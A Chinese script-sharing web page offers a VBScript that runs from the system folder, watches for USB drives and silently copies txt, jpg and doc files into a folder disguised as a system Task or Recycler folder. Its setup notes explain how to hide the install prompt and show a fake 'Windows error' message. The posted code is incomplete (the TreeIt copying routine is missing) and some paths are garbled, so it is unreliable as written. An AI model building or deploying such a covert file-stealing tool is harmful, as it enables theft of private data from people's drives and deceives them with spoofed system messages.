自動(dòng)復(fù)制U盤(pán)文件的VBS腳本

2019-10-26 18:03:01

字體：大中小

供稿：網(wǎng)友

以下為演示：
一、設(shè)置
右鍵單擊，選擇編輯
oStr = "txt|jpg|doc" '你要竊取的文件類型,可以自行添加，用“|”隔開(kāi)
oDistPath = "C://windows//system//" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 0 '將保存的文件夾進(jìn)行偽裝 1為task文件夾，2為recycler文件夾，0為不偽裝
oOut = 1 '1復(fù)制完畢后退出,0復(fù)制完畢后不退出，繼續(xù)循環(huán)

二、保存后運(yùn)行
會(huì)出現(xiàn)安裝成功對(duì)話框，如果不希望出現(xiàn)該對(duì)話框，可以將“Msgbox "安裝成功"”注釋掉。

此時(shí)腳本已經(jīng)在循環(huán)監(jiān)測(cè)U盤(pán)的插入

三、插入U(xiǎn)盤(pán)
U盤(pán)插入后，就開(kāi)始文件的復(fù)制。復(fù)制完成后會(huì)出現(xiàn)提示對(duì)話框。
如果不希望出現(xiàn)該對(duì)話框，可以將 “Msgbox "Windows 錯(cuò)誤",64”注釋掉

四、尋找文件
此時(shí)，文件已經(jīng)在目標(biāo)文件夾中。我將oType 設(shè)置為1，所以該文件夾成了task文件夾，此時(shí)雙擊打開(kāi)是看不到其中的文件的。

這種情況可以通過(guò)rar壓縮包瀏覽，將其中的desktop.ini文件刪除，文件夾就會(huì)變成普通文件夾。

ww
這時(shí)就能打開(kāi)文件夾看到其中的內(nèi)容。

Copy.log記錄的是原文件及復(fù)制后的文件。

vbs代碼

復(fù)制代碼代碼如下:

oStr = "txt|jpg|doc" '文件類型，添加文件類型用“|”隔開(kāi)
oDistPath = "C://windows//system//" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 1 '1為task文件夾，2為recycler文件夾，0為不隱藏
oOut = 1 '1復(fù)制完畢后退出,0復(fù)制完畢后不退出，繼續(xù)循環(huán)
'By:白開(kāi) QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"/Baikai.vbs" Then '如果是在system32

'文件夾不存在則創(chuàng)建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'創(chuàng)建記錄文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"http://Copy.log",True)
'循環(huán)監(jiān)測(cè)移動(dòng)存儲(chǔ)設(shè)備插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 錯(cuò)誤",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

上一篇：vbscript 調(diào)用WebService實(shí)現(xiàn)代碼

下一篇：Shell.Application執(zhí)行命令的五種方法小結(jié)

發(fā)表評(píng)論

共有條評(píng)論